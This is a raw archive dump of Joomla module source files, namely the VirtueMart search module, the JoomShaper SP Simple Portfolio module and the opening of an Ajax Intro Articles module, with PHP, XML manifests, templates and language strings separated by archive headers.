$maxlength = $width > 20 ? $width : 20;
$text = $params->get ('text', vmText::_ ('MOD_VIRTUEMART_SEARCH_TEXT_TXT'));
$set_Itemid = intval ($params->get ('set_itemid', 0));
$moduleclass_sfx = $params->get ('moduleclass_sfx', '');

if ($params->get ('filter_category', 0)) {
	$category_id = vRequest::getInt ('virtuemart_category_id', 0);
} else {
	$category_id = 0;
}
require JModuleHelper::getLayoutPath ('mod_virtuemart_search', $params->get('layout', 'default'));
echo vmJsApi::writeJS();
?>
PK!$�
�CC/mod_virtuemart_search/mod_virtuemart_search.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="2.5.0">
  <name>mod_virtuemart_search</name>
  <creationDate>November 06 2020</creationDate>
  <author>The VirtueMart Development Team</author>
  <authorUrl>https://virtuemart.net</authorUrl>
  <copyright>Copyright (C) 2004 - 2020 Virtuemart Team. All rights reserved.</copyright>
  <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
  <version>3.8.6</version>
  <description>MOD_VIRTUEMART_SEARCH_DESC</description>
  <files>
  	<filename module="mod_virtuemart_search">mod_virtuemart_search.php</filename>
  	<filename>tmpl/default.php</filename>
  	<folder>language</folder>
  </files>
  <config>
    <fields name="params">
      <fieldset name="basic">
        <field
          name="width"
          type="text"
          default="20"
          label="MOD_VIRTUEMART_SEARCH_BOX_WIDTH"
          description="MOD_VIRTUEMART_SEARCH_BOX_WIDTH_DESC"
        />
        <field
          name="text"
          type="text"
          default=""
          label="MOD_VIRTUEMART_SEARCH_TEXT"
          description="MOD_VIRTUEMART_SEARCH_TEXT_DESC"
        />
        <field
          name="@spacer"
          type="spacer"
          default=""
          label=""
          description=""
        />
        <field
          name="filter_category"
          type="radio"
          default="0"
          label="MOD_VIRTUEMART_SEARCH_FILTER_CATEGORY"
          description="MOD_VIRTUEMART_SEARCH_FILTER_CATEGORY_DESC"
          >
          <option value="0">No</option>
          <option value="1">Yes</option>
        </field>
        <field
          name="button"
          type="radio"
          default="0"
          label="MOD_VIRTUEMART_SEARCH_BUTTON"
          description="MOD_VIRTUEMART_SEARCH_BUTTON_DESC"
          >
          <option value="0">No</option>
          <option value="1">Yes</option>
        </field>
        <field
          name="button_pos"
          type="list"
          default="right"
          label="MOD_VIRTUEMART_SEARCH_BUTTON_POS"
          description="MOD_VIRTUEMART_SEARCH_BUTTON_POS_DESC"
          >
          <option value="right">MOD_VIRTUEMART_SEARCH_FIELD_VALUE_RIGHT</option>
          <option value="left">MOD_VIRTUEMART_SEARCH_FIELD_VALUE_LEFT </option>
          <option value="top">MOD_VIRTUEMART_SEARCH_FIELD_VALUE_TOP</option>
          <option value="bottom">MOD_VIRTUEMART_SEARCH_FIELD_VALUE_BOTTOM</option>
        </field>
        <field
          name="imagebutton"
          type="radio"
          default="0"
          label="MOD_VIRTUEMART_SEARCH_BUTTON_AS_IMG"
          description="MOD_VIRTUEMART_SEARCH_BUTTON_AS_IMG_DESC"
          >
          <option value="0">No</option>
          <option value="1">Yes</option>
        </field>
        <field
          name="image_button_file"
          type="media"
          default=""
          label="MOD_VIRTUEMART_SEARCH_BUTTON_IMG"
          description="MOD_VIRTUEMART_SEARCH_BUTTON_IMG_DESC"
        />
        <field
          name="button_text"
          type="text" default=""
          label="MOD_VIRTUEMART_SEARCH_BUTTON_TXT"
          description="MOD_VIRTUEMART_SEARCH_BUTTON_TXT_DESC"
        />
        <field
          name="set_itemid"
          type="text"
          label="MOD_VIRTUEMART_SETITEMID_LABEL"
          description="MOD_VIRTUEMART_SETITEMID_DESC"
        />
      </fieldset>
      <fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
        />      
        <field
          name="moduleclass_sfx"
          type="text" default=""
          label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
          description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
        />
        <field
          name="cache"
          type="list"
          default="1"
          label="COM_MODULES_FIELD_CACHING_LABEL"
          description="COM_MODULES_FIELD_CACHING_DESC"
          >
          <option value="1">JGLOBAL_USE_GLOBAL</option>
          <option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
        </field>
        <field
          name="cache_time"
          type="text"
          default="900"
          label="Cache Time"
          description="The time before the module is recached"
        />
      </fieldset>
    </fields>
  </config>
  <updateservers>
    <!-- Note: No spaces or linebreaks allowed between the server tags -->
    <server type="extension" name="VirtueMart3 mod_virtuemart_search Update Site"><![CDATA[http://virtuemart.net/releases/vm3/mod_virtuemart_search_update.xml]]></server>
  </updateservers>
</extension>PK!(�e<<&mod_virtuemart_search/tmpl/default.phpnu&1i�<?php // no direct access
defined('_JEXEC') or die('Restricted access'); ?>
<!--BEGIN Search Box -->
<form action="<?php echo JRoute::_('index.php?option=com_virtuemart&view=category&search=true&limitstart=0&virtuemart_category_id='.$category_id ); ?>" method="get">
<div class="search<?php echo $params->get('moduleclass_sfx'); ?>">
	<?php $output = '<input name="keyword" id="mod_virtuemart_search" maxlength="'.$maxlength.'" placeholder="'.$text.'" class="inputbox'.$moduleclass_sfx.'" type="text" size="'.$width.'" />';
 $image = JURI::base() . $imagepath;

			if ($button) :
			    if ($imagebutton && $imagepath) :
			        $button = '<input style="vertical-align:middle" type="image" value="'.$button_text.'" class="button'.$moduleclass_sfx.'" src="'.$image.'" onclick="this.form.keyword.focus();"/>';
			    else :
			        $button = '<input type="submit" value="'.$button_text.'" class="button'.$moduleclass_sfx.'" onclick="this.form.keyword.focus();"/>';
			    endif;
		

			switch ($button_pos) :
			    case 'top' :
				    $button = $button.'<br />';
				    $output = $button.$output;
				    break;

			    case 'bottom' :
				    $button = '<br />'.$button;
				    $output = $output.$button;
				    break;

			    case 'right' :
				    $output = $output.$button;
				    break;

			    case 'left' :
			    default :
				    $output = $button.$output;
				    break;
			endswitch;
			endif;
			
			echo $output;
?>
</div>
		<input type="hidden" name="limitstart" value="0" />
		<input type="hidden" name="option" value="com_virtuemart" />
		<input type="hidden" name="view" value="category" />
		<input type="hidden" name="virtuemart_category_id" value="<?php echo $category_id; ?>"/>
<?php if(!empty($set_Itemid)){
	echo '<input type="hidden" name="Itemid" value="'.$set_Itemid.'" />';
} ?>

	  </form>

<!-- End Search Box -->PK!{���ZZDmod_virtuemart_search/language/en-GB/en-GB.mod_virtuemart_search.ininu&1i�; Virtuemart! Project
; Copyright (C)  2011 Virtuemart Team. All rights reserved.
; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php
; Note : All ini files need to be saved as UTF-8 - No BOM
MOD_VIRTUEMART_SEARCH="VirtueMart Search Product"
MOD_VIRTUEMART_SEARCH_BOX_WIDTH="Input Width"
MOD_VIRTUEMART_SEARCH_BOX_WIDTH_DESC="Input Width of search"
MOD_VIRTUEMART_SEARCH_BUTTON="Search Button"
MOD_VIRTUEMART_SEARCH_BUTTON_AS_IMG="Search button as image"
MOD_VIRTUEMART_SEARCH_BUTTON_AS_IMG_DESC="Use an image as search button"
MOD_VIRTUEMART_SEARCH_BUTTON_DESC="Display a Search Button"
MOD_VIRTUEMART_SEARCH_BUTTON_IMG="Select or upload an image"
MOD_VIRTUEMART_SEARCH_BUTTON_IMG_DESC="Select or upload an image to be used as a search button."
MOD_VIRTUEMART_SEARCH_BUTTON_POS="Button Position"
MOD_VIRTUEMART_SEARCH_BUTTON_POS_DESC="Position of the button relative to the search box"
MOD_VIRTUEMART_SEARCH_BUTTON_TXT="Button Name"
MOD_VIRTUEMART_SEARCH_BUTTON_TXT_DESC="Text to display on the button.<br />Leave it EMPTY for auto label it by user language settings"
MOD_VIRTUEMART_SEARCH_DESC="This Module is to search Product on your VirtueMart Shop.<br /><br/>(VirtueMart 2+ compatible)"
MOD_VIRTUEMART_SEARCH_FIELD_VALUE_BOTTOM="Bottom"
MOD_VIRTUEMART_SEARCH_FIELD_VALUE_LEFT="Left"
MOD_VIRTUEMART_SEARCH_FIELD_VALUE_RIGHT="Right"
MOD_VIRTUEMART_SEARCH_FIELD_VALUE_TOP="Top"
MOD_VIRTUEMART_SEARCH_FILTER_CATEGORY="Search Filter Category"
MOD_VIRTUEMART_SEARCH_FILTER_CATEGORY_DESC="Search Filter Category"
MOD_VIRTUEMART_SEARCH_GO="Search"
MOD_VIRTUEMART_SEARCH_SEARCH="Search Product"
MOD_VIRTUEMART_SEARCH_TEXT="Text"
MOD_VIRTUEMART_SEARCH_TEXT_DESC="Text to display when input is empty (leave blank to auto-translate by user language)"
MOD_VIRTUEMART_SEARCH_TEXT_TXT="Search..."
MOD_VIRTUEMART_SETITEMID_DESC="Assign an ItemID for the display of the search results if there is no com_search menu and a specific display is desired. The ItemId may be chosen among those available through the Menu Manager. If you do not know what this means, you may not need it."
MOD_VIRTUEMART_SETITEMID_LABEL="Set ItemID"PK!�ʀVjjHmod_virtuemart_search/language/en-GB/en-GB.mod_virtuemart_search.sys.ininu&1i�; Virtuemart! Project
; Copyright (C)  2011 Virtuemart Team. All rights reserved.
; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php
; Note : All ini files need to be saved as UTF-8 - No BOM

MOD_VIRTUEMART_SEARCH="VirtueMart Search Product"
MOD_VIRTUEMART_SEARCH_DESC="This module is used to search for products in your VirtueMart Shop"PK!�]}��� mod_spsimpleportfolio/helper.phpnu&1i�<?php
/**
 * @package     SP Simple Portfolio
 * @subpackage  mod_spsimpleportfolio
 *
 * @copyright   Copyright (C) 2010 - 2021 JoomShaper. All rights reserved.
 * @license     GNU General Public License version 2 or later.
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Filesystem\File;
use Joomla\Utilities\ArrayHelper;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;


BaseDatabaseModel::addIncludePath(JPATH_SITE . '/components/com_spsimpleportfolio/models', 'SpsimpleportfolioModel');

JLoader::register('SpsimpleportfolioHelper', JPATH_SITE . '/components/com_spsimpleportfolio/helpers/helper.php');

class ModSpsimpleportfolioHelper {

	public static function getItems($params) {

		$model = BaseDatabaseModel::getInstance('Items', 'SpsimpleportfolioModel', array('ignore_request' => true));

		$db = Factory::getDbo();
		$query = $db->getQuery(true);

		$query->select('a.*, a.id AS spsimpleportfolio_item_id , a.tagids AS spsimpleportfolio_tag_id, a.created AS created_on')
		->from($db->quoteName('#__spsimpleportfolio_items', 'a'))
		->where($db->quoteName('a.published') . ' = 1');
		
		// Filter by a single or group of categories
		if ($params->get('category_id') != '') {
			$categoryId = $params->get('category_id');
			if (is_numeric($categoryId) && $categoryId > 0)
			{
				// Add subcategory check
				$categoryEquals       = 'a.catid =' . (int) $categoryId;

				// Create a subquery for the subcategory list
				$subQuery = $db->getQuery(true)
					->select('sub.id')
					->from('#__categories as sub')
					->join('INNER', '#__categories as this ON sub.lft > this.lft AND sub.rgt < this.rgt')
					->where('this.id = ' . (int) $categoryId);

				// Add the subquery to the main query
				$query->where('(' . $categoryEquals . ' OR a.catid IN (' . (string) $subQuery . '))');
			}
			elseif (is_array($categoryId) && (count($categoryId) > 0))
			{
				$categoryId = ArrayHelper::toInteger($categoryId);
				$categoryId = implode(',', $categoryId);

				if (!empty($categoryId))
				{
					$query->where('a.catid IN (' . $categoryId . ')');
				}
			}
		}

		// ordering
		$ordering = $params->get('ordering', 'ordering:ASC');
		list($order, $direction) = explode(':', $ordering);
		
		$query->where($db->quoteName('a.access')." IN (" . implode( ',', Factory::getUser()->getAuthorisedViewLevels() ) . ")")
			->order($db->quoteName('a.' . $order) . ' ' . $direction)
			->setLimit($params->get('limit', 6));

		$db->setQuery($query);

		$items = $db->loadObjectList();

		$i = 0;
		foreach ($items as $key => & $item) {
			$tags = $model->getItemTags($item->tagids);
			$newtags = array();
			$filter = '';
			$groups = array();

			foreach ($tags as $tag) {
				$newtags[] = $tag->title;
				$filter .= ' ' . $tag->alias;
				$groups[] .= '"' . $tag->alias . '"';
			}

			$item->groups = implode(',', $groups);
			$item->tags = $newtags;

			// Sizes
			$square 	= strtolower($params->get('square', '600x600'));
			$tower 		= strtolower($params->get('tower', '600X800'));
			$rectangle 	= strtolower($params->get('rectangle', '600x400'));
			$tower 		= strtolower($params->get('tower', '600x800'));
			$sizes 		= array(
				$rectangle,
				$tower,
				$square,
				$tower,
				$rectangle,
				$square,
				$square,
				$rectangle,
				$tower,
				$square,
				$tower,
				$rectangle
			);

			$thumb_type = $params->get('thumbnail_type', 'masonry');	
			if($thumb_type == 'masonry') {
				$item->thumb = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_' . $sizes[$i] . '.' . File::getExt($item->image);
			} else if($thumb_type == 'rectangular') {
				$item->thumb = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_'. $rectangle .'.' . File::getExt($item->image);
			} else if($thumb_type == 'tower') {
				$item->thumb = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_'. $tower .'.' . File::getExt($item->image);
			} else {
				$item->thumb = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_'. $square .'.' . File::getExt($item->image);
			}

			// tower

			$popup_image = $params->get('popup_image', 'default');
			
			if($popup_image == 'quare') {
				$item->popup_img_url = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_'. $square .'.' . File::getExt($item->image);
			} else if($popup_image == 'rectangle') {
				$item->popup_img_url = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_'. $rectangle .'.' . File::getExt($item->image);
			} else if($popup_image == 'tower') {
				$item->popup_img_url = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_'. $tower .'.' . File::getExt($item->image);
			} else {
				$item->popup_img_url = Uri::base() . $item->image;
			}

			$item->url = Route::_('index.php?option=com_spsimpleportfolio&view=item&id='. $item->id . ':' . $item->alias . SpsimpleportfolioHelper::getItemid($item->catid));

			$i++;
			if($i==11) {
				$i = 0;
			}
		}

		return $items;
	}
}PK!��tj//&mod_spsimpleportfolio/tmpl/default.phpnu&1i�<?php
/**
 * @package     SP Simple Portfolio
 * @subpackage  mod_spsimpleportfolio
 *
 * @copyright   Copyright (C) 2010 - 2021 JoomShaper. All rights reserved.
 * @license     GNU General Public License version 2 or later.
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

$layout_type = $params->get('layout_type', 'default');
?>
<div id="mod-sp-simpleportfolio" class="sp-simpleportfolio sp-simpleportfolio-view-items layout-<?php echo str_replace('_', '-', $layout_type); ?> <?php echo $moduleclass_sfx; ?>">
	
	<?php if($params->get('show_filter', 1)) : ?>
		<div class="sp-simpleportfolio-filter">
			<ul>
				<li class="active" data-group="all"><a href="#"><?php echo Text::_('MOD_SPSIMPLEPORTFOLIO_SHOW_ALL'); ?></a></li>
				<?php foreach ($tagList as $filter) : ?>
				<li data-group="<?php echo $filter->alias; ?>"><a href="#"><?php echo $filter->title; ?></a></li>
				<?php endforeach; ?>
			</ul>
		</div>
	<?php endif; ?>

	<?php
		//Videos
		foreach ($items as $item) {
			if($item->video) {
				$video = parse_url($item->video);

				switch($video['host']) {
					case 'youtu.be':
					$video_id 	= trim($video['path'],'/');
					$video_src 	= '//www.youtube.com/embed/' . $video_id;
					break;

					case 'www.youtube.com':
					case 'youtube.com':
					parse_str($video['query'], $query);
					$video_id 	= $query['v'];
					$video_src 	= '//www.youtube.com/embed/' . $video_id;
					break;

					case 'vimeo.com':
					case 'www.vimeo.com':
					$video_id 	= trim($video['path'],'/');
					$video_src 	= "//player.vimeo.com/video/" . $video_id;
				}
				echo '<iframe class="sp-simpleportfolio-lightbox" src="'. $video_src .'" width="500" height="281" id="sp-simpleportfolio-video'.$item->spsimpleportfolio_item_id.'" style="border:none;" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>';
			}
		}
	?>

	<div class="sp-simpleportfolio-items sp-simpleportfolio-columns-<?php echo $params->get('columns', 3); ?>">
		<?php foreach ($items as $item) : ?>
			<div class="sp-simpleportfolio-item" data-groups='[<?php echo $item->groups; ?>]'>
				<div class="sp-simpleportfolio-overlay-wrapper clearfix">
					<?php if($item->video) : ?>
						<span class="sp-simpleportfolio-icon-video"></span>
					<?php endif; ?>

					<img class="sp-simpleportfolio-img" src="<?php echo $item->thumb; ?>" alt="<?php echo $item->title; ?>">

					<div class="sp-simpleportfolio-overlay">
						<div class="sp-vertical-middle">
							<div>
								<div class="sp-simpleportfolio-btns">
									<?php if( $item->video ) : ?>
										<a class="btn-zoom" href="#" data-featherlight="#sp-simpleportfolio-video<?php echo $item->id; ?>"><?php echo Text::_('MOD_SPSIMPLEPORTFOLIO_WATCH'); ?></a>
									<?php else: ?>
										<a class="btn-zoom" href="<?php echo $item->popup_img_url; ?>" data-featherlight="image"><?php echo Text::_('MOD_SPSIMPLEPORTFOLIO_ZOOM'); ?></a>
									<?php endif; ?>
									<a class="btn-view" href="<?php echo $item->url; ?>"><?php echo Text::_('MOD_SPSIMPLEPORTFOLIO_VIEW'); ?></a>
								</div>

								<?php if($layout_type!='default') : ?>
									<h3 class="sp-simpleportfolio-title">
										<a href="<?php echo $item->url; ?>">
											<?php echo $item->title; ?>
										</a>
									</h3>
									<div class="sp-simpleportfolio-tags">
										<?php echo implode(', ', $item->tags); ?>
									</div>
								<?php endif; ?>
							</div>
						</div>
					</div>
				</div>

				<?php if($layout_type=='default') : ?>
					<div class="sp-simpleportfolio-info">
						<h3 class="sp-simpleportfolio-title">
							<a href="<?php echo $item->url; ?>">
								<?php echo $item->title; ?>
							</a>
						</h3>
						<div class="sp-simpleportfolio-tags">
							<?php echo implode(', ', $item->tags); ?>
						</div>
					</div>
				<?php endif; ?>
			</div>
		<?php endforeach; ?>
	</div>
</div>PK!��Vz�	�	>mod_spsimpleportfolio/language/en-GB.mod_spsimpleportfolio.ininu&1i�#Admin#
MOD_SP_SIMPLEPORTFOLIO="SP SIMPLE PORTFOLIO"
MOD_SPSIMPLEPORTFOLIO_FIELD_LIMIT="Number of Items"
MOD_SPSIMPLEPORTFOLIO_FIELD_LIMIT_DESC="Please enter the number of items to display per page."
MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_TYPES="Layout Settings"
MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_TYPES_DESC="Select a layout from the list."
MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_DEFAULT="Default"
MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_GALLERY_SPACE="Gallery style with space"
MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_GALLERY_NOSPACE="Gallery style without space"

MOD_SPSIMPLEPORTFOLIO_FIELD_COLUMNS="Columns"
MOD_SPSIMPLEPORTFOLIO_FIELD_COLUMNS_DESC="Select number of columns per row."
MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_COLUMNS_2="2 Columns"
MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_COLUMNS_3="3 Columns"
MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_COLUMNS_4="4 Columns"

MOD_SPSIMPLEPORTFOLIO_SHOW_FILTER_BUTTONS="Show Filters"
MOD_SPSIMPLEPORTFOLIO_SHOW_FILTER_BUTTONS_DESC="Enable to show filter buttons"

MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_SIZE="Thumbnail Size"
MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_SIZE_DESC="Select a thumbnail size which will show in the item list."
MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_MASONRY="Masonry"
MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_SQUARE="Square"
MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_RECTANGULAR="Rectangular"
MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_TOWER="Tower"

MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_TYPE="Thumbnail Type"
MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE="Popup Size"
MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_DESC="Select a popup image size from the list (select default for your default uploaded image)."
MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_DEFAULT="Default"
MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_SQAURE="Squre"
MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_RECTANGLE="Rectangle"
MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_TOWER="Tower"

MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING="Ordering"
MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_DESC="Select a order type from the list"
MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_ORDER_ASCENDING="Order Ascending"
MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_TITLE_ASCENDING="Title Ascending"
MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_ORDER_DESCENDING="Order Descending"
MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_TITLE_DESCENDING="Title Descending"

#Frontend#
MOD_SPSIMPLEPORTFOLIO_SHOW_ALL="Show All"
MOD_SPSIMPLEPORTFOLIO_ZOOM="Zoom"
MOD_SPSIMPLEPORTFOLIO_WATCH="Watch"
MOD_SPSIMPLEPORTFOLIO_VIEW="View"

#category#
MOD_SPSIMPLEPORTFOLIO_CATEGORY="Select a category"
MOD_SPSIMPLEPORTFOLIO_CATEGORY_DESC=""
MOD_SPSIMPLEPORTFOLIO_CATEGORY_ALL="All Categories"PK!3��OO/mod_spsimpleportfolio/mod_spsimpleportfolio.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.9" client="site" method="upgrade">
	<name>SP Simple Portfolio Module</name>
	<author>JoomShaper</author>
	<creationDate>December 2014</creationDate>
	<copyright>Copyright (C) 2010 - 2021 JoomShaper. All rights reserved.</copyright>
	<license>GNU General Public License version 2 or later</license>
	<authorEmail>support@joomshaper.com</authorEmail>
	<authorUrl>www.joomshaper.com</authorUrl>
	<version>2.0</version>
	<description>Module to display latest item from SP Simple Portfolio</description>

	<updateservers>
		<server type="extension" priority="1" name="SP Simple Portfolio Module">http://www.joomshaper.com/updates/mod-sp-simple-portfolio.xml</server>
	</updateservers>

	<files>
		<filename module="mod_spsimpleportfolio">mod_spsimpleportfolio.php</filename>
		<filename>helper.php</filename>
		<folder>tmpl</folder>
		<folder>language</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB.mod_spsimpleportfolio.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field name="show_filter" type="radio" class="btn-group" default="1" label="MOD_SPSIMPLEPORTFOLIO_SHOW_FILTER_BUTTONS" description="MOD_SPSIMPLEPORTFOLIO_SHOW_FILTER_BUTTONS_DESC">
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
				<field name="category_id" type="category" extension="com_spsimpleportfolio" default="" label="MOD_SPSIMPLEPORTFOLIO_CATEGORY" description="MOD_SPSIMPLEPORTFOLIO_CATEGORY">
					<option value="">MOD_SPSIMPLEPORTFOLIO_CATEGORY_ALL</option>
				</field>
				<field name="layout_type" type="list" default="default" label="MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_TYPES" description="MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_TYPES_DESC">
					<option value="default">MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_DEFAULT</option>
					<option value="gallery_space">MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_GALLERY_SPACE</option>
					<option value="gallery_nospace">MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_GALLERY_NOSPACE</option>
				</field>
				<field name="columns" type="list" default="3" label="MOD_SPSIMPLEPORTFOLIO_FIELD_COLUMNS" description="MOD_SPSIMPLEPORTFOLIO_FIELD_COLUMNS_DESC">
					<option value="2">MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_COLUMNS_2</option>
					<option value="3">MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_COLUMNS_3</option>
					<option value="4">MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_COLUMNS_4</option>
				</field>
				<field name="thumbnail_type" type="list" default="masonry" label="MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_SIZE">
					<option value="masonry">MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_MASONRY</option>
					<option value="square">MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_SQUARE</option>
					<option value="rectangular">MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_RECTANGULAR</option>
					<option value="tower">MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_TOWER</option>
				</field>
				<field name="popup_image" type="list" default="default" label="MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE" description="MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_DESC">
					<option value="default">MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_DEFAULT</option>
					<option value="quare">MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_SQAURE</option>
					<option value="rectangle">MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_RECTANGLE</option>
					<option value="tower">MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_TOWER</option>
				</field>
				<field name="ordering" type="list" default="ordering:ASC" label="MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING" description="MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_DESC">
					<option value="ordering:ASC">MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_ORDER_ASCENDING</option>
					<option value="ordering:DESC">MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_ORDER_DESCENDING</option>
					<option value="title:ASC">MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_TITLE_ASCENDING</option>
					<option value="title:DESC">MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_TITLE_DESCENDING</option>
				</field>
				<field name="limit" type="number" default="12" label="MOD_SPSIMPLEPORTFOLIO_FIELD_LIMIT" description="MOD_SPSIMPLEPORTFOLIO_FIELD_LIMIT_DESC" />
			</fieldset>

			<fieldset name="advanced">
				<field name="layout" type="modulelayout" label="JFIELD_ALT_LAYOUT_LABEL" description="JFIELD_ALT_MODULE_LAYOUT_DESC" />
				<field name="moduleclass_sfx" type="textarea" rows="3" label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL" description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
				<field name="cache" type="list" default="1" label="COM_MODULES_FIELD_CACHING_LABEL" description="COM_MODULES_FIELD_CACHING_DESC">
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>
				<field name="cache_time" type="text" default="900" label="COM_MODULES_FIELD_CACHE_TIME_LABEL" description="COM_MODULES_FIELD_CACHE_TIME_DESC" />
			</fieldset>
		</fields>
	</config>
</extension>
PK!2�U(zz/mod_spsimpleportfolio/mod_spsimpleportfolio.phpnu&1i�<?php
/**
 * @package     SP Simple Portfolio
 * @subpackage  mod_spsimpleportfolio
 *
 * @copyright   Copyright (C) 2010 - 2021 JoomShaper. All rights reserved.
 * @license     GNU General Public License version 2 or later.
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Helper\ModuleHelper;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;

require_once __DIR__ . '/helper.php';

HTMLHelper::_('jquery.framework');
BaseDatabaseModel::addIncludePath(JPATH_SITE . '/components/com_spsimpleportfolio/models');
require_once JPATH_BASE . '/components/com_spsimpleportfolio/helpers/helper.php';

$doc = Factory::getDocument();
$doc->addStylesheet( Uri::root(true) . '/components/com_spsimpleportfolio/assets/css/featherlight.min.css' );
$doc->addStylesheet( Uri::root(true) . '/components/com_spsimpleportfolio/assets/css/spsimpleportfolio.css' );
$doc->addScript( Uri::root(true) . '/components/com_spsimpleportfolio/assets/js/jquery.shuffle.modernizr.min.js' );
$doc->addScript( Uri::root(true) . '/components/com_spsimpleportfolio/assets/js/featherlight.min.js' );
$doc->addScript( Uri::root(true) . '/components/com_spsimpleportfolio/assets/js/spsimpleportfolio.js' );

$cParams      = ComponentHelper::getParams('com_spsimpleportfolio');

if($cParams) {
    $params->merge($cParams);
}

$items = ModSpsimpleportfolioHelper::getItems($params);
foreach ($items as $item) {
    // if thumb uploaded for listing
    $item->thumb = ( isset($item->thumbnail) && $item->thumbnail ) ? $item->thumbnail : $item->thumb;
}
$model = BaseDatabaseModel::getInstance('Items', 'SpsimpleportfolioModel');
$tagList = $model->getTagList($items);

$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx'));

require ModuleHelper::getLayoutPath('mod_spsimpleportfolio', $params->get('layout', 'default'));
PK!�P�ސ�3mod_ajax_intro_articles/mod_ajax_intro_articles.phpnu&1i�<?php
/**
*	@package	Ajax Intro Articles
*	@copyright	Copyright (C) 2018 Aplikko. All rights reserved.
*	@license	GNU/GPL version 2, or later
*	@website:	http://www.aplikko.com
*/

defined( '_JEXEC' ) or die( 'Restricted access' );

$start = 0;
$limit = $params->get('count', 3);
